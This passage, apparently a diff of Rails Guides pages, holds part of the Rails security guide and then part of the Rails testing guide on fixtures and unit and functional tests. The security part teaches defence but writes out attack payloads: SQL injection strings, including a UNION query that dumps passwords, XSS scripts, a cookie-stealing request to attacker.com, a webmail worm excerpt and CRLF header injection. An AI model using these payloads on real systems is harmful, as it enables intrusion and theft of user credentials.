User.find(:first,"login = '#{params[:name]}' AND password = '#{params[:password]}'")
+
+
If an attacker enters OR '1=1 as the name, and OR 2>'1 as the password, the resulting SQL query will be:
+
+
+
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+
+
This will simply find the first record in the database, and grants access to this user.
+
8.2.3. Unauthorized reading
+
The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
And now let's inject another query using the UNION statement:
+
+
+
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+
+
This will result in the following SQL query:
+
+
+
SELECT * FROM projects WHERE (name = '') UNION
+ SELECT id,login AS name,password AS description,1,1,1 FROM users --')
+
+
The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
+
Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails to at least 2.1.1.
+
8.2.4. Countermeasures
+
Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]. But in SQL fragments, especially in conditions fragments (:conditions ⇒ "…"), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually.
+
Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
The array or hash form is only available in model instances. You can try sanitize_sql() elsewhere. Make it a habit to think about the security consequences when using an external string in SQL.
+
8.3. Cross-Site Scripting (XSS)
+
— The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.
+
8.3.1. Entry points
+
An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
+
The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the Live HTTP Headers Firefox plugin, or client-site proxies make it easy to change requests.
+
XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
+
During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in the last six months of 2007. Mpack is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations and many more high targets.
+
A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to Trend Micro.
+
8.3.2. HTML/JavaScript Injection
+
The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. Escaping user input is essential.
+
Here is the most straightforward test to check for XSS:
+
+
+
<script>alert('Hello');</script>
+
+
This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
+
+
+
<script>document.write(document.cookie);</script>
+
+
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
The log files on www.attacker.com will read like this:
+
+
+
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+
+
You can mitigate these attacks (in the obvious way) by adding the httpOnly flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies will still be visible using Ajax, though.
+
Defacement
+
With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an actual attack on legitimate Italian sites using the Mpack attack framework. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+
A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
+
Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson…":
It is very important to filter malicious input, but it is also important to escape the output of the web application.
+
Especially for XSS, it is important to do whitelist input filtering instead of blacklist. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+
Imagine a blacklist deletes “script†from the user input. Now the attacker injects “<scrscriptipt>â€, and after the filter, “<script>†remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
This returned "some<script>alert(hello)</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
+
+
+
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
+
+
This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
+
As a second step, it is good practice to escape all output of the application, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). Use escapeHTML() (or its alias h()) method to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&, ", < and >). However, it can easily happen that the programmer forgets to use it, so it is recommended to use the SafeErb plugin. SafeErb reminds you to escape strings from external sources.
+
Obfuscation and Encoding Injection
+
Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemyâ€, is the Hackvertor. Rails‘ sanitize() method does a good job to fend off encoding attacks.
+
8.3.3. Examples from the underground
+
— In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.
+
The following is an excerpt from the Js.Yamanner@m Yahoo! Mail worm. It appeared on June 11, 2006 and was the first webmail interface worm:
+
+
+
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+ target=""onload="var http_request = false; var Email = '';
+ var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
+
+
The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+
Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on Rosario Valotta's website. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+
In December 2006, 34,000 actual user names and passwords were stolen in a MySpace phishing attack. The idea of the attack was to create a profile page named “login_home_index_htmlâ€, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+
The MySpace Samy worm will be discussed in the CSS Injection section.
+
8.4. CSS Injection
+
— CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.
+
CSS Injection is explained best by a well-known worm, the MySpace Samy worm. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
+
MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.
Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.
+
In the end, he got a 4 KB worm, which he injected into his profile page.
+
The moz-binding CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+
8.4.1. Countermeasures
+
This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application. Use Rails' sanitize() method as a model for a whitelist CSS filter, if you really need one.
+
8.5. Textile Injection
+
— If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. RedCloth is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
+
+
+
For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:
It is recommended to use RedCloth in combination with a whitelist input filter, as described in the countermeasures against XSS.
+
8.6. Ajax Injection
+
— The same security precautions have to be taken for Ajax actions as for “normal†ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.
+
If you use the in_place_editor plugin, or actions that return a string, rather than rendering a view, you have to escape the return value in the action. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+
8.7. RJS Injection
+
— Don't forget to escape in JavaScript (RJS) templates, too.
+
The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h(). Otherwise an attacker could execute arbitrary JavaScript.
+
8.8. Command Line Injection
+
— Use user-supplied command line parameters with caution.
+
If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+
A countermeasure is to use the system(command, parameters) method which passes command line parameters safely.
+
+
+
system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files
+
+
8.9. Header Injection
+
— HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.
+
HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. Remember to escape these header fields, too. For example when you display the user agent in an administration area.
+
Besides that, it is important to know what you are doing when building response headers partly based on user input. For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
+
+
+
redirect_to params[:referer]
+
+
What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
+
+
+
HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+
+
So attack vectors for Header Injection are based on the injection of CRLF characters in a header field. And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.
+
8.9.1. Response Splitting
+
If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
+
+
+
HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+<html><font color=red>hey</font></html> [Arbitary malicious input is
+Keep-Alive: timeout=15, max=100 shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+
+
Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.
+
+
9. Additional resources
+
+
The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:
+
+
+
+Understand Rails testing terminology
+
+
+
+
+Write unit, functional and integration tests for your application
+
+
+
+
+Identify other popular testing approaches and plugins
+
+
+
+
This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.
+
+
+
1. Why Write Tests for your Rails Applications?
+
+
+
+
+Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
+
+
+
+
+By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+
+
+
+
+Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+
+
+
+
+
2. Introduction to Testing
+
+
Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
+
2.1. The 3 Environments
+
Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.
+
One place you'll find this distinction is in the config/database.yml file. This YAML configuration file has 3 different sections defining 3 unique database setups:
+
+
+
+production
+
+
+
+
+development
+
+
+
+
+test
+
+
+
+
This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.
+
For example, suppose you need to test your new delete_this_user_and_every_everything_associated_with_it function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?
+
When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running rake db:test:prepare.
+
2.2. Rails Sets up for Testing from the Word Go
+
Rails creates a test folder for you as soon as you create a Rails project using rails application_name. If you list the contents of this folder then you shall see:
The unit folder is meant to hold tests for your models, the functional folder is meant to hold tests for your controllers, and the integration folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the fixtures folder. The test_helper.rb file holds the default configuration for your tests.
+
2.3. The Low-Down on Fixtures
+
For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
+
2.3.1. What Are Fixtures?
+
Fixtures is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: YAML or CSV. In this guide we will use YAML which is the preferred format.
+
You'll find fixtures under your test/fixtures directory. When you run script/generate model to create a new model, fixture stubs will be automatically created and placed in this directory.
+
2.3.2. YAML
+
YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the .yml file extension (as in users.yml).
+
Here's a sample YAML fixture file:
+
+
+
# low & behold! I am a YAML comment!
+david:
+ name: David Heinemeier Hansson
+ birthday:1979-10-15
+ profession: Systems development
+
+steve:
+ name: Steve Ross Kellock
+ birthday:1974-09-27
+ profession: guy with keyboard
+
+
Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
+
2.3.3. ERb'in It Up
+
ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.
tag is considered Ruby code. When this fixture is loaded, the size attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The brightest_on attribute will also be evaluated and formatted by Rails to be compatible with the database.
+
2.3.4. Fixtures in Action
+
Rails by default automatically loads all fixtures from the test/fixtures folder for your unit and functional test. Loading involves three steps:
+
+
+
+Remove any existing data from the table corresponding to the fixture
+
+
+
+
+Load the fixture data into the table
+
+
+
+
+Dump the fixture data into a variable in case you want to access it directly
+
+
+
+
2.3.5. Hashes with Special Powers
+
Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:
+
+
+
# this will return the Hash for the fixture named david
+users(:david)
+
+# this will return the property for david called id
+users(:david).id
+
+
Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.
+
+
+
# using the find method, we grab the "real" david as a User
+david = users(:david).find
+
+# and now we have access to methods only available to a User class
+email(david.girlfriend.email, david.location_tonight)
+
+
+
3. Unit Testing your Models
+
+
In Rails, unit tests are what you write to test your models.
+
For this guide we will be using Rails scaffolding. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.
The default test stub in test/unit/post_test.rb looks like this:
+
+
+
require'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+ # Replace this with your real tests.
+ def test_truth
+ assert true
+ end
+end
+
+
A line by line examination of this file will help get you oriented to Rails testing code and terminology.
+
+
+
require'test_helper'
+
+
As you know by now that test_helper.rb specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
+
+
+
class PostTest < ActiveSupport::TestCase
+
+
The PostTest class defines a test case because it inherits from ActiveSupport::TestCase. PostTest thus has all the methods available from ActiveSupport::TestCase. You'll see those methods a little later in this guide.
+
+
+
def test_truth
+
+
Any method defined within a test case that begins with test (case sensitive) is simply called a test. So, test_password, test_valid_password and testValidPassword all are legal test names and are run automatically when the test case is run.
+
+
+
assert true
+
+
This line of code is called an assertion. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
+
+
+
+is this value = that value?
+
+
+
+
+is this object nil?
+
+
+
+
+does this line of code throw an exception?
+
+
+
+
+is the user's password greater than 5 characters?
+
+
+
+
Every test contains one or more assertions. Only when all the assertions are successful the test passes.
+
3.1. Preparing you Application for Testing
+
Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:
+
+
+
$ rake db:migrate
+...
+$ rake db:test:load
+
+
Above rake db:migrate runs any pending migrations on the developemnt environment and updates db/schema.rb. rake db:test:load recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run db:test:prepare as it first checks for pending migrations and warns you appropriately.
+
+
+
+
+
+
db:test:prepare will fail with an error if db/schema.rb doesn't exists.
+
+
+
3.1.1. Rake Tasks for Preparing you Application for Testing ==
+rake db:test:clone+ Recreate the test database from the current environment's database schema
++rake db:test:clone_structure+ Recreate the test databases from the development structure
++rake db:test:load+ Recreate the test database from the current +schema.rb+
++rake db:test:prepare+ Check for pending migrations and load the test schema
++rake db:test:purge+ Empty the test database.
+
+
+
+
+
+
+
You can see all these rake tasks and their descriptions by running rake —tasks —describe
+
+
+
3.2. Running Tests
+
Running a test is as simple as invoking the file containing the test cases through Ruby:
+
+
+
$ cd test
+$ ruby unit/post_test.rb
+
+Loaded suite unit/post_test
+Started
+.
+Finished in0.023513 seconds.
+
+1 tests,1 assertions,0 failures,0 errors
+
+
This will run all the test methods from the test case.
+
You can also run a particular test method from the test case by using the -n switch with the test method name.
The . (dot) above indicates a passing test. When a test fails you see an F; when a test throws an error you see an E in its place. The last line of the output is the summary.
+
To see how a test failure is reported, you can add a failing test to the post_test.rb test case.
In the output, F denotes a failure. You can see the corresponding trace shown under 1) along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:
+
+
+
def test_should_not_save_post_without_title
+ post = Post.new
+ assert !post.save,"Saved the post without a title"
+end
+
+
Running this test shows the friendlier assertion message:
+
+
+
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+F
+Finished in 0.198093 seconds.
+
+ 1) Failure:
+test_should_not_save_post_without_title(PostTest)
+ [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+Saved the post without a title.
+<false> is not true.
+
+1 tests, 1 assertions, 1 failures, 0 errors
+
+
Now to get this test to pass we can add a model level validation for the title field.
+
+
+
class Post < ActiveRecord::Base
+ validates_presence_of :title
+end
+
+
Now the test should pass. Let us verify by running the test again:
Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as Test-Driven Development (TDD).
+
+
+
+
+
+
Many Rails developers practice Test-Driven Development (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with 15 TDD steps to create a Rails application.
+
+
+
To see how an error gets reported, here's a test containing an error:
+
+
+
def test_should_report_error
+ # some_undefined_variable is not defined elsewhere in the test case
+ some_undefined_variable
+ assert true
+end
+
+
Now you can see even more output in the console from running the tests:
+
+
+
$ ruby unit/post_test.rb -n test_should_report_error
+Loaded suite unit/post_test
+Started
+E
+Finished in 0.195757 seconds.
+
+ 1) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x2cc9de8>
+ /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
+ unit/post_test.rb:16:in `test_should_report_error'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
+
+1 tests, 0 assertions, 0 failures, 1 errors
+
+
Notice the E in the output. It denotes a test with error.
+
+
+
+
+
+
The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
+
+
+
3.3. What to Include in Your Unit Tests
+
Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
+
3.4. Assertions Available
+
By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
+
There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with test/unit, the testing library used by Rails. The [msg] parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
+
+
+
+
+
+
+
+ Assertion
+
+
+ Purpose
+
+
+
+
+
+
+ assert( boolean, [msg] )
+
+
+ Ensures that the object/expression is true.
+
+
+
+
+ assert_equal( obj1, obj2, [msg] )
+
+
+ Ensures that obj1 == obj2 is true.
+
+
+
+
+ assert_not_equal( obj1, obj2, [msg] )
+
+
+ Ensures that obj1 == obj2 is false.
+
+
+
+
+ assert_same( obj1, obj2, [msg] )
+
+
+ Ensures that obj1.equal?(obj2) is true.
+
+
+
+
+ assert_not_same( obj1, obj2, [msg] )
+
+
+ Ensures that obj1.equal?(obj2) is false.
+
+
+
+
+ assert_nil( obj, [msg] )
+
+
+ Ensures that obj.nil? is true.
+
+
+
+
+ assert_not_nil( obj, [msg] )
+
+
+ Ensures that obj.nil? is false.
+
+
+
+
+ assert_match( regexp, string, [msg] )
+
+
+ Ensures that a string matches the regular expression.
+
+
+
+
+ assert_no_match( regexp, string, [msg] )
+
+
+ Ensures that a string doesn't matches the regular expression.
+
+ Ensures that executing the method listed in array[1] on the object in array[0] with the parameters of array[2 and up] is true. This one is weird eh?
+
+
+
+
+ flunk( [msg] )
+
+
+ Ensures failure. This is useful to explicitly mark a test that isn't finished yet.
+
+
+
+
+
+
Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
+
+
+
+
+
+
Creating your own assertions is an advanced topic that we won't cover in this tutorial.
+
+
+
3.5. Rails Specific Assertions
+
Rails adds some custom assertions of its own to the test/unit framework:
+
+
+
+
+
+
+
+ Assertion
+
+
+ Purpose
+
+
+
+
+
+
+ assert_valid(record)
+
+
+ Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
+
+ Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
+
+ Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
+
+
+
+
+ assert_response(type, message = nil)
+
+
+ Asserts that the response comes with a specific status code. You can specify :success to indicate 200, :redirect to indicate 300-399, :missing to indicate 404, or :error to match the 500-599 range
+
+ Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that assert_redirected_to(:controller ⇒ "weblog") will also match the redirection of redirect_to(:controller ⇒ "weblog", :action ⇒ "show") and so on.
+
+
+
+
+ assert_template(expected = nil, message=nil)
+
+
+ Asserts that the request was rendered with the appropriate template file.
+
+
+
+
+
+
You'll see the usage of some of these assertions in the next chapter.
+
+
4. Functional Tests for Your Controllers
+
+
In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
+
4.1. What to include in your Functional Tests
+
You should test for things such as:
+
+
+
+was the web request successful?
+
+
+
+
+was the user redirected to the right page?
+
+
+
+
+was the user successfully authenticated?
+
+
+
+
+was the correct object stored in the response template?
+
+
+
+
+was the appropriate message displayed to the user in the view
+
+
+
+
Now that we have used Rails scaffold generator for our Post resource, it has already created the controller code and functional tests. You can take look at the file posts_controller_test.rb in the test/functional directory.
+
Let me take you through one such test, test_should_get_index from the file posts_controller_test.rb.
In the test_should_get_index test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid posts instance variable.
+
The get method kicks off the web request and populates the results into the response. It accepts 4 arguments:
+
+
+
+The action of the controller you are requesting. This can be in the form of a string or a symbol.
+
+
+
+
+An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
+
+
+
+
+An optional hash of session variables to pass along with the request.
+
+
+
+
+An optional hash of flash values.
+
+
+
+
Example: Calling the :show action, passing an id of 12 as the params and setting a user_id of 5 in the session:
+
+
+
get(:show,{'id'=>"12"},{'user_id'=>5})
+
+
Another example: Calling the :view action, passing an id of 12 as the params, this time with no session, but with a flash message.
If you try running test_should_create_post test from posts_controller_test.rb it will fail on account of the newly added model level validation and rightly so.
+
+
+
Let us modify test_should_create_post test in posts_controller_test.rb so that all our test pass:
+
+
+
def test_should_create_post
+ assert_difference('Post.count')do
+ post :create,:post =>{:title =>'Some title'}
+ end
+
+ assert_redirected_to post_path(assigns(:post))
+end
+
+
Now you can try running all the tests and they should pass.
+
4.2. Available Request Types for Functional Tests
+
If you're familiar with the HTTP protocol, you'll know that get is a type of request. There are 5 request types supported in Rails functional tests:
+
+
+
+get
+
+
+
+
+post
+
+
+
+
+put
+
+
+
+
+head
+
+
+
+
+delete
+
+
+
+
All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
+
4.3. The 4 Hashes of the Apocalypse
+
After a request has been made by using one of the 5 methods (get, post, etc.) and processed, you will have 4 Hash objects ready for use:
+
+
+
+assigns - Any objects that are stored as instance variables in actions for use in views.
+
+
+
+
+cookies - Any cookies that are set.
+
+
+
+
+flash - Any objects living in the flash.
+
+
+
+
+session - Any object living in session variables.
+
+
+
+
As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for assigns. For example:
+
+
+
flash["gordon"] flash[:gordon]
+ session["shmession"] session[:shmession]
+ cookies["are_good_for_u"] cookies[:are_good_for_u]
+
+# Because you can't use assigns[:something] for historical reasons:
+ assigns["something"] assigns(:something)
+
+
4.4. Instance Variables Available
+
You also have access to three instance variables in your functional tests:
+
+
+
+@controller - The controller processing the request
+
+
+
+
+@request - The request
+
+
+
+
+@response - The response
+
+
+
+
4.5. A Fuller Functional Test Example
+
Here's another example that uses flash, assert_redirected_to, and assert_difference:
+
+
+
def test_should_create_post
+ assert_difference('Post.count')do
+ post :create,:post =>{:title =>'Hi',:body =>'This is my first post.'}
+ end
+ assert_redirected_to post_path(assigns(:post))
+ assert_equal 'Post was successfully created.', flash[:notice]
+end
+
+
4.6. Testing Views
+
Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The assert_select assertion allows you to do this by using a simple yet powerful syntax.
+
+
+
+
+
+
You may find references to assert_tag in other documentation, but this is now deprecated in favor of assert_select.
+
+
+
There are two forms of assert_select:
+
assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an HTML::Selector object.
+
assert_select(element, selector, [equality], [message]) ensures that the equality condition is met on all the selected elements through the selector starting from the element (instance of HTML::Node) and its descendants.
+
For example, you could verify the contents on the title element in your response with:
+
+
+
assert_select 'title',"Welcome to Rails Testing Guide"
+
+
